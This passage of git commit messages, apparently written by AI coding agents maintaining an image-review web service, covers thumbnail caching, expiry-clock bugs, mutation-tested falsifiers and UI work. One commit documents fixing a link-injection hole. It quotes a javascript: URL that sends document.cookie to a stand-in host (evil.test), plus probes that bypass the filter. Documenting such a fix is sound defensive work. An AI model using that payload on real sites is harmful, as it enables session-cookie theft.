design-dev's test read 'the originals shown small (no generated thumbnail)',
which was true when written and is precisely what the operator rejected: four
images per booth on the page he opens first was the heaviest surface in the
service.
Declared rather than quietly edited, per the rule that an existing assertion is
not changed to make a change pass. The behaviour genuinely changed, on his own
instruction to swap all four small surfaces in one commit.
Worth recording in the docstring: the URL carries ?thumb=1 from the EXTENSION
alone, with no disk read, so a tiny stub fixture still gets the parameter and
the route serves the original when there is nothing worth generating. The URL
never depends on what is on disk.
39/39 falsifiers proved across both mutation tables.
design-dev's two follow-up commits on the R2 branch.
167f265 is PRE-EXISTING and his to have found, not his to have caused:
Path.is_file() swallows ENOENT but PROPAGATES EACCES, so one folder with r--
and no x in one booth made booth_items raise — and list_booths calls it for
every booth, so the index 500s for all of them. Identical blast radius to the
0xff filename the bug-hunt panel found, arriving through a different syscall.
39a3cb2 commits R2's own falsifiers as tests/mutations/r2_flow.toml, 18 rows.
Its first run caught three vacuous proofs, which is the fourth time this week
that running the mutation has disagreed with reading the assertion.
# Conflicts:
# booth/items.py
Two corrections to the thumbnail work, the first of them a live bug shipped an
hour ago and caught by design-dev before its worst form landed.
⚠ GENERATING A THUMBNAIL RESET THE BOOTH'S EXPIRY CLOCK. `_newest_mtime`
excludes `.lock` sidecars because machinery is not the operator doing something;
the thumbnail cache is machinery too, and it is written by the SERVER on a mere
view. Excluding the cache's CONTENTS turned out not to be enough — creating
`.thumbs/` touches the BOOTH DIRECTORY's own mtime, which is exactly what
_newest_mtime seeds from. The booth's stamp is now restored across the mkdir,
which cannot hide real activity because any file an agent adds is counted by its
own mtime in the same walk.
The failure this prevents is not small. Once the Desk's preview strip pulls a
thumbnail per booth, ONE INDEX LOAD would have pushed every booth's expiry out
and the TTL would never have fired again — nothing would ever sweep. It was
already live for the gallery, one booth at a time.
TWO MORE SURFACES, because the fix only helped where it was wired:
Desk preview strip four small images per booth on the page he opens FIRST.
design-dev measured 28 originals / 24.1 MB on a 12-booth
copy; live has 28. The heaviest surface in the service,
heavier than the gallery it previews.
flag tray _marks.html rendered originals as tray thumbnails.
The review stage stays on the original, because that is the full-size review.
754 green plus the new guards.
The operator found this in about a minute of using the live Desk: "images load
at full resolution instead of calculated thumbnails, which means they load VERY
slowly and are tiny."
MEASURED on the live set:
sindra-corpus-v1 66 images 77.5 MB 1024x1024 each
sindra-sfw-pool 59 images 71.7 MB
sindra 30 images 61.6 MB 2.1 MB average
sindra-bakeoff 40 images 57.2 MB
A tile renders around 250px, so the grid shipped roughly 16x the pixels that
reach the screen.
⚠ OUR PARKING RATIONALE WAS WRONG IN AN INSTRUCTIVE WAY. ROADMAP parked
progressive loading on "the largest gallery is 66 images; at that size a lazy
grid is almost certainly fine", and the parking-lot row said "270 <img
loading=lazy> may be fine". Both count IMAGES. Neither weighs BYTES. We measured
the dimension that was easy to measure rather than the one that determines the
experience, and 66 really is a fine count sitting on a terrible payload.
booth/thumbs.py caches WebP at 512px longest side inside the booth at
`.thumbs/<rel>.webp` — inside on purpose, so a cache can never outlive what it
describes. Pillow is an optional import: absent, every tile falls back to the
original, so the page is heavier and never broken. Generation is lazy, atomic
(temp + os.replace), rebuilt when the source is newer, and NEVER RAISES.
?thumb=1 rides the EXISTING file route rather than growing a new one, because
that route's traversal guard is already correct and a second route is a second
place to get it wrong.
ALSO FIXES A PRE-EXISTING LEAK THE CACHE WOULD HAVE WALKED INTO. booth_items and
zip_booth both tested `p.name.startswith(".")` — the FILE's name — so
`.thumbs/a.png` (name `a.png`) would have rendered as a gallery item and shipped
inside every zip. CLAUDE.md invariant 2 promises a dotfile costs nothing in item
counts, galleries or zips; that was true only at the top level. Both now skip
every dot-prefixed path COMPONENT.
AND THE FILMSTRIP, which is the same defect in a worse place: it shows EVERY
ring item at a few dozen pixels, so full-resolution frames there cost more than
the grid did. The stage is untouched and stays full size, because that is the
full-size review.
Item.thumb is derived in the resolver, not by a template reasoning about `kind`
(INV-1). build_gallery had to carry it too — a missing key there rendered as a
SILENT fallback to the full image, which is exactly where a new Item field gets
dropped with nothing failing.
754 green.
tests/mutations/r2_flow.toml: 18 falsifiers, each proved RED under its
change by scripts/mutation_check.py (18/18). Its first run found three
vacuous proofs, now resolved:
- landed_at's per-entry skip: the symlink-loop fixture stopped raising
once the clock moved to lstat. New fixture: a folder that lists but
cannot be searched.
- the Desk's bench URL guard: the test covered bookmarks only. A
hand-edited registry bench now rides with it.
- flagged_targets' `error is None`: defence in depth (hydration already
strips a damaged mark's target), so no single-guard row; named in the
table header instead.
The rail's flagged filter and the orphan-flag list read flagged_targets
rather than restating it; no reachable behaviour changes.
Path.is_file() swallows a missing entry but propagates EACCES. A
directory with read and no execute permission lists its names while
every stat under it raises, so one such folder in one booth raised out
of booth_items — and list_booths calls that for every booth, taking the
index down for all of them. The same blast radius as the
unrepresentable-filename case; the same posture applies: such an entry
is not a renderable file.
Predates R2 (identical on main before the merge); found while folding
R2's bug-hunt, where it made landed_at's per-entry skip unreachable.
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so
javascript:document.location='http://evil.test/'+document.cookie
was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.
links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.
THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.
Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.
Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
Lifted from r2_flow's INV-2 table rather than rewritten, so the contract and the
roadmap cannot drift into two statements of one rule.
The zoom-ring row is replaced because review_chain filters to media, not
images — 'filtered to images' is now false, and a stale row is invariant 6
failing quietly, which is the only way it ever fails.
The ordinal row is the one worth reading: an ordinal counted across ALL items
makes '#07' the same tile under every filter. The operator refers to artifacts
positionally, and the filters we shipped in U7 had quietly broken that — 'the
third one' meant something different depending on which filter was on. Nothing
on our side noticed; design-dev proposed it unprompted.
Held until the merge deliberately: this file describes what is deployed, and
writing it while the code sat on another agent's branch would have made our
canonical convention document describe a service that was not running.
Also records a latent bug the R2 work surfaced in code it did not touch.
.blurred stores one stripped rel per line, so a rel carrying a leading space or
a newline does not round-trip and blurring ' a.png' can blur 'a.png'. .seen was
written as a JSON array for that reason, and additionally opens O_NOFOLLOW |
O_NONBLOCK with an S_ISREG check so a planted symlink is refused and a FIFO
cannot hang the read — the outage this repo has already paid for once. New
dotfiles inherit .seen's shape, not .blurred's.
design-dev's R2, built against the operator's 2026-09-23 rulings (a_b /
this_arc / plain / no emblem) and handed over clean. Merged, not rebased: the
branch is another agent's work and its seven TDD commits are the record of how
it was built.
Full house discipline on his side, all complete: contract, heid contract panel
(Lark) folded, seam review against the real modules, TDD slices C1-C7, heid
code-review (Wren) 4/4 folded, heid bug-hunt (Nyx) 4/4 folded. Every new browser
test mutation-checked against its own fix.
Reviewed here before taking it, on the three things only this side knows:
- the quote() guard in the collection loop is intact (it looks like a stray
try around a discarded call, which is how it would get tidied away; it is
what stands between one 0xff filename and a 500 on every booth's card)
- Item.ordinal is APPENDED, not inserted — the mistake we made with
Item.group and two bug-hunt arms flagged
- image_chain stays importable and unchanged; review_chain supersedes it only
for the review route
.seen came back better than specified: O_NOFOLLOW | O_NONBLOCK plus an S_ISREG
check, which defeats a planted symlink AND the FIFO-with-no-writer hang that
cost this service an outage once already, and a JSON array so a rel carrying a
leading space or newline round-trips exactly.
The zoom ring is now review_chain (image, video and audio) rather than
image_chain. That is a declared ordering-rule change and ROADMAP's table moves
with it.
In-place client (base.html):
- Saves are serialized: POST, re-fetch and swap complete before the next
save starts, so an older snapshot can no longer land after a newer one.
- A form already queued or in flight ignores another submit; a
double-click writes one note.
- Dirty controls (drafts, unsent radio choices) and disclosures carry by
identity (form action + hidden ask/target/mark/f + name), not position.
- Any non-tile structural difference, or a page with no region to swap,
reloads instead of patching.
Server and templates:
- .seen is a JSON array read without following links or blocking,
regular files of at most 1 MiB only; malformed, nested-too-deep or
planted markers read as nothing seen.
- landed_at reads symlinks by lstat and skips one unreadable entry
instead of pinning the booth in "new".
- The Desk counts flags on current items only; orphan flags are listed
under the tray with an unmark form.
- Agent-written bench and bookmark URLs link only when http(s).
- Audio and video tiles carry a review link.
- A rel the filesystem cannot represent is a 404, not a 500.
- A non-finite Accept q-value fails to parse.
- The standalone marks page has regions and updates in place.
- The review's next arrow sits at the edge at phone width.
Contract amended for each, plus an accepted-risks section (unlocked
.seen read-modify-write, a planted .viewed symlink, Item.ordinal with
no default).
741 passed. Each new browser test was mutation-checked against its fix;
the serialization test forces the race with a held first refresh, since
localhost alone never lost it.
Code fixes:
- The narrow-screen fold was specified and never built (4/4). The tray and
notes are now closed <details> in the aside; above 1000px CSS alone
(::details-content) shows them and hides the summary. There is no
script. Browser-tested at 390 and 1400, JS on and off.
- The lightbox gated on parsed board rows, not page identity (3/4). It now
uses is_board, the lesson the bench panel already carried.
- wants_json returned True at the first good entry, so a malformed later
entry was never read (3/4). It now parses every entry first; any error
is False.
- One flag predicate, flagged_targets. It serves the Desk count, the tray,
the filmstrip, the tape and the review button. An unreadable flag entry
counts nowhere.
- The header's open count and lifetime line, and the no-set marks panel,
are now regions (they were stale after an in-place answer).
- Inline group headers render only when every group is one contiguous run.
Interleaved directories no longer reprint or misfile headers.
- A booth held unreadable has no open_since, even with a readable pick
beside the damage.
- The swap marks an absent region is-stale instead of leaving it looking
current. It carries disclosure state (except the sent form's). The
failure message is readable for 0.9 s before the reload.
Contract amended where the code was right and the text was not: the
wants_json and record_seen signatures, landed_at's three refinements, the
group position being ring-based, the end of the set offering every other
open pick, the Space-key player exception, and the fold mechanism.
New tests cover the parse order; a board with media; the header region; the
no-set panel; interleaved groups; mixed damage; the flag predicate; the
review recording .viewed; the fold at two widths with JS on and off; the
status message before the reload; a lost response after a landed write
(exactly one note); a stale absent region; stage node identity across a
swap; and F with a radio focused. The lost-response and stale tests turn
red under their mutations. 724 passed.
The gallery's POST-303-reload was the no-JS design working, and it still
is (the INV-4 golden pins it). The defect was the full-size ejection. The
test's docstring and the contract's assertions table now say so (booth-dev
review).
Credited to design-dev. His R2 order check has a positive control — one tile
given order:-1 that the check must catch — and the control went blind when group
headers became grid children: nth-child(5) started landing on a header rather
than the fifth tile.
Same class as the two defects already in this file. A control that no longer
controls reads exactly like a passing test; nothing in the output distinguishes
'detected nothing because there was nothing' from 'detected nothing because I am
aimed at the wrong element'.
The rule: nth-of-type over nth-child wherever the assertion means the Nth TILE
rather than the Nth child element. They agree until somebody adds a sibling of a
different kind, and adding siblings is what a redesign is.
The index no longer renders cards or lanes. Their rules, and the absolute
positioning the keep/wipe controls needed to float over a thumbnail, are
gone. The controls keep their shared button base; the Desk row and the
booth header place them. The contract is marked BUILT on the branch,
pending heid code-review and bug-hunt.
- The zoom route becomes the review for image, video AND audio: the native
player on the stage for sound and video, the Fit/1:1 toggle for pictures
only. The judgment rail, the tape and the filmstrip are each a data-region.
The stage never is, so a playing track survives an in-place save.
- The rail shows the whole-set number, K of M in the review ring and the
position in the group; then the caption, and the flag and notes, landing
back here (back=view). A pick targeting this item is answerable in place.
On the last item the end-of-set block lists what was seen, the flags, and
every other open question.
- The keys are ← → Space F N Esc. Every one is ignored in an editable field,
and Esc returns to the grid at the tile you were on.
- _marks.html gains picks_only/back_view, so a pick form has one renderer
wherever it sits.
- In-place swaps now carry an unsaved draft across. A half-typed note
survives a flag, except in the form that was just sent.
- The filmstrip keeps the current frame in view.
- C7: no emblem in the chrome, pinned.
Browser tests cover: F typed into the note stays a letter and does not
flag; F outside the note flags in place and the draft survives; Space
moves; Esc lands on the grid tile. 706 passed.
- On a gallery booth the marks panel moves into a sticky verdict aside
beside the set. The aside comes first in the document, so a narrow screen
stacks the question above the work; grid areas place it on the right when
wide. Nothing in an ordered collection moves. Boards are unchanged.
- The flag tray lists flagged items by tile number: the declared change
from the panel list's (created, id). The standalone marks page keeps the
list.
- Inline group headers are divs, never figure.item.
- Every mark-dependent element is a data-region: the verdict, each tile,
the rail's filter counts. There is also a server-rendered status line.
- The in-place script (base.html) POSTs with an explicit JSON Accept, then
on 204 swaps every region from a fresh GET. Live media and per-viewer view
state are carried across the swap, so there is no layout jolt and no
stopped track. It never re-POSTs: on failure it says so and reloads. Tile
controls re-bind after a swap, and the grid cursor survives it.
- The `n` key opens the tile's closed note disclosure before focusing it.
- test_embed_browser's keyboard-flag test expected a navigation, which is
the defect R2 removes. It is updated as declared in the contract, and
tightened: a window marker must survive, proving no reload.
Browser tests: flag in place, with no reload and no scroll jump, and the
tile, tray and rail count all updated; and a failed save that reloads
without re-POSTing. Two mutations turn them red (no carry, no rail region).
700 passed.
- list_booths gains open_since (parsed, never compared as text), flags,
landed_at (content only; a new, differently named clock, INV-5),
viewed_at, and a four-image preview that keeps blur.
- The index renders needs you / new since you looked / everything else,
always in that order. Needs you includes unreadable marks, so a damaged
judgment file cannot hide. Everything else keeps list_booths' order
rather than stating a second rule. An empty section renders nothing.
- The side column holds live benches (a damaged registry says so),
bookmarks from BOOTH_LINKS_BOARD with booth URLs left out (capped at 8),
and the pickup form.
- test_booth's kept-lane test is rewritten as the contract declared: kept
is a fact on each row, not a lane.
Two of the new tests were VACUOUS on their first draft, and mutation-
checking caught both. The clocks test used a future t0, so a hand-set
marker outranked every real write. The look-then-judge test followed the
flag's 303, and the resulting GET recorded a fresh look. Both are fixed
and now go red under their mutation.
- wants_json: true only for an exact `application/json` entry with q > 0.
Absent, empty, wildcard, application/*, near misses, q=0 and malformed
headers all fall through to the 303.
- The four mark routes share one exit, _mark_done: 204 with no body for the
in-place client, otherwise _mark_redirect unchanged.
- back=view lands on /b/<name>/view?f=<rel>#rail, only for a media item of
this booth. It is built from the resolved rel and never echoed. Anything
else takes the no-`back` landing.
- tests/golden/r2_mark_303.json: 108 responses recorded from the PRE-R2
code (6 route cases x back absent|marks x 9 non-JSON Accepts), replayed
byte for byte (INV-4). Two mutations (q>=0, substring match) turn it red.
- The contract now states the q=0 rule.
- Item.ordinal: the 1-based position in booth_items over the items that
render. It is appended, and set in the resolver. Tiles print it padded to
the whole set's width, and a filter never renumbers.
- review_chain: the item order filtered to media. It replaces image_chain as
the zoom route's ring, so a set of pictures and sound steps through both.
image_chain stays importable.
- .seen: which media items were looked at full size, written by the review
route under record_view's gate. It is rewritten whole: deduplicated, pruned
to live items, sorted. The temp file is created with O_EXCL and swapped in
with os.replace, so a planted symlink is replaced, never written through.
It never raises.
Nine new tests. The contiguity and symlink tests are mutation-checked.
669 passed.
Triaged, not adopted wholesale. Folded:
- Reviewing refreshes .viewed, as it already did. It is now stated, so the
two clocks cannot read as disagreeing.
- INV-4 is scoped to pre-R2 request shapes. back=view is the declared
exception.
- back=view lands on the review only for media items. Anything else falls
back to the booth page.
- In-place regions: every element whose content can depend on marks is a
region, including the rail counts, the filmstrip and the tape. The stage
never is.
- The script never re-POSTs. A lost response must not duplicate a note or
re-date an answer.
- The dangling "invariant 5" now points at the Booth's CLAUDE.md invariant 5.
- "M" is defined once. Needs-you is picks only. Every key is suppressed in
editable fields.
- The toggle and the narrow collapse are classified against INV-3.
- Every Booth state file is a dotfile, stated. So are "no generated
thumbnails" and the audio placeholder.
- The requirement wording is tightened, and C7 records the voice and emblem
rulings.
Ordinal is appended, not inserted. The quote() guard stays, and skipped
items take no ordinal. Empty Desk sections do not render; this carries
forward the negative half of the kept-lane pair. The 1:1 toggle is bound
only when the stage is an image.
PROPOSED. Ruled by the operator 2026-09-23 (flow: a_b, compare this_arc,
voice plain, emblem no). Compare is not in this contract; it follows as r3.
Seam-reviewed against the live module surfaces before the cross-frontier
contract panel returned. Four findings are folded in: Mark.created is a
string, the board is BOOTH_LINKS_BOARD, the bench-read error state, and an
unreadable marks file counting as needing the operator.
booth-dev suggested this. At or below 480px, .item's scroll-margin
fallback is 205px, the 16-group rail measured at 390px. With JS on,
--rail-h is exact and nothing changes.
Measured on the same 76 jumps:
- JS off: 0 under the rail, previously 19. At 390px, where a short rail
gets the full fallback, tiles overshoot by at most 74px, and they stay
visible.
- JS on: unchanged, 0 under.
660 passed; visual order still matches document order on 32 renders.
Heid bug-hunt finding (Gróa, relayed by booth-dev). The rail is sticky
and nothing set a scroll margin, so a fragment jump left the target tile,
and the :target reticle that marks it, hidden under the rail.
The rail wraps, so no CSS value can know its height. A small additive
script publishes the measured height as --rail-h, and a ResizeObserver
keeps it current across widths. .item's scroll-margin-top adds 12px to
that. With JS off, a 120px fallback applies.
Also styles the new empty-filter row (397ea89): the filter name in
heading ink, and a gap before the way back.
Measured, 76 group jumps across 2 booths x 4 widths (rail 48-205px):
- JS on: 0 under the rail, minimum clearance 11px.
- JS off: 0 at desktop widths. 19 at 390px, where a wrapped rail is
143-205px tall and taller than the fallback.
Positive control: the pre-retheme skin fails 74/76.
Merged onto main 1826d19: 660 passed, mutation_check 20/20.
Re-skins every Booth surface in the SVOS design system (design-systems
palettes/svos @ ed2f8d8). Visual and interaction layer only: no route,
no copy, no ordering and no information-architecture change.
- _svos_tokens.css: SVOS semantic tokens vendored by copy, with the four
[data-theme] scopes re-scoped onto prefers-color-scheme and
prefers-contrast (dark, light, dark-hc, light-hc). Included into
base.html's <style>; cached at startup like every other template.
- base.html: the accreted Australis sheet is rewritten against semantic
tokens only. It also fixes four undefined variables (--line, --bg,
--fg, --muted) that the keep/blur/reveal controls had been reading.
The three SVOS devices each have exactly one job: reticle = selection
(grid cursor, :target, picked option), hazard = irreversible (Wipe
now, armed bulk delete), glow = live power (service dot, live bench).
- The flag list renders as wrapped chips, so a large flag set no longer
pushes the grid below the fold. The list order is unchanged.
- IBM Plex Sans + JetBrains Mono load via Google Fonts with
display=swap and system fallbacks (approved by booth-dev).
- view.html, doc.html: inline styles moved onto tokens.
- embed.js: fragment palette as custom properties scoped to .bk-ask;
`.bk-ask-opt:has(input:checked)` still appears exactly once.
- Favicon (base.html + app.FAVICON_HREF, kept in sync): graphite tile
with reticle corners.
Verified: 642 passed, the same count as the pre-change baseline.
Visual order matches document order on 32 renders (4 booths x 4 widths
x 2 schemes). A positive control, one tile given `order:-1`, is
detected by the same check.
All four ruled, all four taking design-dev's recommendation, relayed via Miranda
with booth-dev as sole relay. Verbatim copy committed at docs/rulings/ because
the booth holding it will sweep.
Which is the observation worth keeping: answering a pick removes the hold that
was protecting the record. A booth is held while its question is OPEN, so its
lifetime is shortest exactly when it has just become valuable — before the
answer it is a question, after it is the record of a decision, and only the
first state is protected. Both design booths hit this by different routes, one
withdrawn and one answered. Raised to design-dev as a flow question rather than
patched, since flow is his now.
Compare mode leaves the parking lot: our deferral, his overrule, recorded as his
call so nobody re-parks it by reading the older rule.
And v1.0.0b1's 'no new features' promise no longer describes the arc. The tag
stays as written — rewriting a released tag to flatter the present is how a
version stops being evidence — an alpha drop-back is illegal because 1.0.0a2
sorts below 1.0.0b1, and no further pre-release is cut until the arc lands.
We read design-dev's 'SET order' as 'the order they were set in' and told him it
was already (created, id). He meant the SET's order — by tile number — which
genuinely differs: flag #15 then #07 and today's panel lists #15, #07 while his
tray lists #07, #15.
His rule is also cleaner than the one we proposed. The flag set sorted by its
target's position in sorted(rel) is a total order needing no tie-break at all,
because rels are unique. The memory row now says so explicitly and tells the
next session not to re-raise the point.
Round 1's booth is kept; he releases it once the flow ask is ruled.
Four rulings with the operator on booth-flow-concepts. design-dev asked for an
invariant-6 check before building, which is the right order and worth recording
as the pattern.
His ordinals rule is an improvement on invariant 6 rather than compliance with
it: an ordinal counting across all items makes a positional reference stable
under filters, where today 'the third one' silently means something different
the moment a filter is on. Nothing on our side had noticed.
Two corrections returned. Flag 'set order' is already (created, id) — set_flag
upserts and unflag removes the entry, so created IS the set time; what he
actually needs is the tie-break, not a new field. And 'last activity' must reuse
_newest_mtime, whose .lock exclusion was paid for: counting our own lock
sidecars made reading through a write path look like activity.
Round 1 ruled not-as-shown: 'He didn't go far enough, still looks like the
booth. I want him to consider the flow and the requirements — design touches,
layout, usability all belong to him.'
The handoff paragraph that said we were not asking for layout changes driven by
information architecture is void. design-dev's 'class additions only, no
reordering' was that constraint honoured, so the ruling corrects our brief
rather than his round — worth recording that way round, because the next session
reading only the artifact would read it as a design failure.
Flow, layout, usability and the requirements are his now; the IA is no longer
fenced off. What survives is split in two on purpose: correctness invariants
that are not design opinions, and engineering defaults we chose that he may now
argue with, where a dispute goes to the operator rather than being settled
between agents.
The SVOS retheme makes .rail load-bearing in two files owned by two different
agents: this template's grid-cursor start, and base.html's --rail-h measuring
script that publishes the rail's height for scroll-margin-top (the rail wraps,
so no CSS number can know it).
Neither breaks loudly if it is renamed. Ours starts the cursor one tile too
high; theirs falls back to a fixed guess. design-dev's sheet carries the mirror
of this note above the .rail rule, so the coupling is documented from both ends
rather than from whichever side happened to notice.
He rebases onto our main and rewrites the ref in place; it has already gone
878ed86 -> a99b7bb. Merging a SHA copied out of the memory file would merge a
pre-rebase branch that predates both his scroll-margin fix and our bug-hunt
batch.
Third instance of one class today: a 'PUSHED' row that was stale when written, a
postbox send-note promoted into durable memory, and now a moving ref recorded by
SHA. The file records what was true when written; anything that moves needs a
command, not a value.
The mechanic worth keeping: browsers match a URL fragment against element ids
RAW first and percent-decoded only second, so a raw rel on both the anchor and
the id is ambiguous rather than merely unencoded — and encoding one side only
relocates the collision.
The count worth keeping: five falsifiers in one unit were green under the exact
change they forbade, three arms finding the same one independently. A
guard-strength pass is the highest-value part of a panel on a diff that is
already well tested, because the findings sit in the gaps the comments are most
confident about.
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, thread
01M368G2Y0JMTJ2T7M3JMTXV5Z. Four of the six fixes are for defects no test in
this repo could have caught, and the panel's guard-strength passes found five of
my own falsifiers green under the exact change they forbade.
THE 4-OF-4 FINDING — the group anchor could land on the WRONG artifact.
The anchor was the raw rel spliced into an href fragment while the tile id was
equally raw. A browser matches a fragment against ids RAW FIRST and only then
percent-decoded, so raw-on-both-sides is not merely unencoded, it is AMBIGUOUS:
with `a b.png` and `a%20b.png` in one booth, the first's href resolves to the
fragment `item-a%20b.png` and the raw pass matches the SECOND file's id. That is
the misfiled-judgment failure invariant 6 exists to prevent, arriving through a
path invariant 6 never looked at. Both sides now use `Item.url`
(`quote(rel, safe="/")`), which is injective here and is the convention
booth_flag has always used. The original test asserted the href occurred as SOME
id on the page — true while pointing at the wrong one.
GRÓA'S STRONGEST SOLO — a zero-hit filter removed the way back.
The rail was gated on the FILTERED list, so a valid filter with no matches
removed the rail, the filter links and the route back to `all`, while the
empty-booth branch announced the booth was empty with rail.total still holding
the real count. No recovery without editing the address bar, and it degraded the
same way with JavaScript off, on the surface the operator actually reviews on.
Gated on all_items now, with an explicit no-match row.
HULDA — one unrepresentable filename took out the INDEX, not just its booth.
A non-UTF-8 filename reaches CPython as a surrogate and quote() raises on it,
outside any per-item handler. booth_items feeds list_booths, so one 0xff byte in
one booth's filename 500s every booth's card. Such a file cannot be linked,
served or zipped, so it is skipped like a dotfile.
HULDA — the `f` shortcut has never worked. The selector named `.flagbtn`, which
nothing in this repo emits, so it fell through to the hidden target input;
clicking a hidden input does not submit its form, and the handler called
preventDefault anyway. Now clicks the flag form's real button, verified end to
end in a real browser.
GRÓA — a group jump was undone by the next keypress. The jump scrolls, the
cursor stayed at -1, and the next arrow focused tile 0 and scrolled back. The
cursor now picks up from the viewport, which also fixes the general
scroll-then-arrow case. Asserted on real scroll geometry in Chromium.
HULDA — the caption sidecar was read whole before being truncated, so a
pathological file was a MemoryError the OSError handler does not catch. Bounded
at the read, and deliberately NOT by st_size: a FIFO reports 0.
ACCEPTED KNOWN RISKS, both now documented rather than implied: no cap on rail
row count (1,000 groups of two would render 1,000 rows; the largest live booth
is 66 items and picking a cap without a booth that needs one is invented work),
and Item.group sits mid-dataclass (one construction site, keyword-only, grepped).
The docstring now names the UPPER median explicitly — two arms flagged that
"the middle group" admits both readings for an even count.
FIVE VACUOUS FALSIFIERS, found by the arms and not by me: the anchor test
survived v[0]->v[-1]; the informativeness guard survived sizes[-1]; the group
count survived len(v)+1; the zero-hit filter test used a fixture that HAD hits;
and the escaping test asserted over the whole page, so it went red on a code
comment. All rewritten, all mutation-proved. The table is up to 20 rows and one
drifted when I changed the line under it — reported by the harness, not silently
skipped, which is the behaviour tests/test_mutation_check.py exists to hold.
660 green; 20/20 proved. Deployed; 21/21 booths 200.
Held for design-dev, not fixed here: Gróa's finding that the sticky rail has no
scroll-margin, so a fragment jump tucks the target under it. It is one line in
base.html, the file he is rewriting from scratch.
Three rulings open on booth-svos-retheme (ship / voice / emblem). The branch is
an inert ref; merge is gated on the rulings. Verified independently: nothing
checked out, main clean, merge-tree clean, merged tree 649 green.
The fixup hold is now partial — booth.html is released because design-dev does
not touch it, so bug-hunt findings there land immediately.
And a real one he caught on our side: base.html reads four CSS custom properties
and defines none of them, 15 uses without a fallback. An undefined var makes the
whole declaration invalid at computed-value time, so those buttons have had no
border at all and a transparent background — not merely default colours. The U7
rail reads the same names with fallbacks, which is why the rail looked
deliberate and the buttons under it never did. Assigned to his rewrite; fixing
it on main would collide with the one file he is rewriting.
It rewrites a tracked file and restores it byte-for-byte — but the restore
bumped the mtime, and in this repo that is not cosmetic. The repo IS the
deployment root and nothing takes effect until the service restarts, so 'is
:8090 stale?' is answered by comparing the service's start time against source
mtimes. A tool that moves those without changing a byte makes that check lie:
it reported the live service 16 minutes stale while it was serving current code.
Restores atime/mtime with os.utime, with a test whose defeating change is
dropping that line. Found by using the staleness check for real, not by review.
649 green; 12/12 U7 falsifiers still proved.
main and the annotated v1.0.0b1 tag are on origin; ahead 0, behind 0.
The push carried SIX commits, not the five this session produced: 2f85692 from
the previous session was still unpushed while the memory row above it said
PUSHED. A push is a point in time and this file is not, so the row now says to
run git rev-list rather than to believe it — the same class of error as
promoting a postbox send note into durable memory, twice in one day.
Promotes the session-scratchpad harness that proved U7's twelve falsifiers into
a repo tool, on the operator's call. No version bump: test tooling and docs, no
production-code change, per the SemVer SKIP list.
A green test is not evidence. A test that has never seen its own defeating
change may pass under it too, forbidding nothing while reading as though it
forbids something. This repo shipped that three times — twice in one session,
and once an hour after writing the persistent-memory entry about it. Prose in a
memory file is not an instrument.
Tables live in tests/mutations/*.toml, one per unit, committed so a unit's
proofs are an artifact rather than terminal scrollback. Adding a unit means
adding a file, never editing the script. u7_navigation.toml was generated from
the harness that proved those twelve, not retyped, and every anchor was verified
against the source before it landed.
THE TOOL GETS ITS OWN POSITIVE AND NEGATIVE CONTROLS, which is the point. It
shipped two defects in one session, each of which made it report a falsifier
PROVED WITHOUT RUNNING IT, and both were found by accident rather than by
anything checking:
no green baseline — a test that is ALREADY red reports red for every mutation
thrown at it, so a broken assertion reads as a certified falsifier
the bytecode cache — `< 2` -> `< 1` is byte-identical in size, and CPython
validates a .pyc against the source's (mtime, size) at one-second granularity,
so a mutation landing in the same second as the revert before it runs against
cached bytecode; the tell was a verdict flipping between consecutive identical
runs
tests/test_mutation_check.py now carries a control for each, plus the one
usually skipped: a KNOWN-VACUOUS falsifier the tool must catch. An instrument
that only ever sees unknowns cannot tell "nothing wrong here" from "I am blind",
and twelve `proved` lines from a blind instrument are worth nothing.
Also hardens the tool against itself: it writes to tracked source files, so the
restore is verified rather than assumed, and a .mutation-inflight marker makes a
run killed mid-mutation refuse the next start instead of silently measuring a
mutated tree.
648 tests green; 12/12 U7 falsifiers still proved.
The ROADMAP row requiring a /vor-ui brief predates the IA doc. With that doc,
the landed templates and the seven handoff constraints, a /vor-ui pass would
have cost the operator a serial Q&A to re-derive IA already measured. design-dev
made that argument and it is better than the row it overrides.
Also settles: we merge and restart; he works against a copy, never :8090; the
concept round goes to the operator; webfonts by CDN link with display=swap,
because the CDN-free property turned out to be accreted rather than an
invariant (checked CLAUDE.md, the non-goals and the IA doc).
Corrects a memory defect in the same commit: a postbox send note is a
point-in-time snapshot and one was promoted into persistent memory as a durable
fact about a handle's delivery mode. It was wrong within the hour.
All seven v1 capabilities are landed (ROADMAP's v1 target is met), so this is
the first release of the 1.x train. Staged as a beta rather than cut final on
the operator's call: per the canonical policy `-beta.N` means feature-complete,
external testing, no new features, focus is on bugs — which is exactly this
state, with a cross-frontier bug-hunt panel outstanding on U7's diff.
The repo learned this sequencing the hard way once: v0.2.0 was tagged and
announced while a contract panel was in flight, the panel found three defects in
the code just released, and v0.2.1 shipped within the hour. A beta is the
designed answer to that, not a workaround for it.
ALSO FIXES A SECOND COPY OF THE VERSION, found while cutting this one.
`booth.__version__` was the literal `0.1.0` and had been wrong through six
releases. It is now read from pyproject.toml — deliberately NOT from
importlib.metadata, which describes a different artifact: this repo has no build
step and no install step (booth.service runs uvicorn with WorkingDirectory set
to the tree), and the venv was carrying a vestigial booth-0.3.0.dist-info with
no package directory behind it. Installed metadata therefore reported 0.3.0 for
a tree at 1.0.0b1 — confidently wrong and varying by environment, which is worse
than a literal that at least fails the same way everywhere.
booth/__init__.py is also, it turns out, effectively stdlib-only: scripts/booth
imports booth.links / booth.marks / booth.manifest under the system python3 with
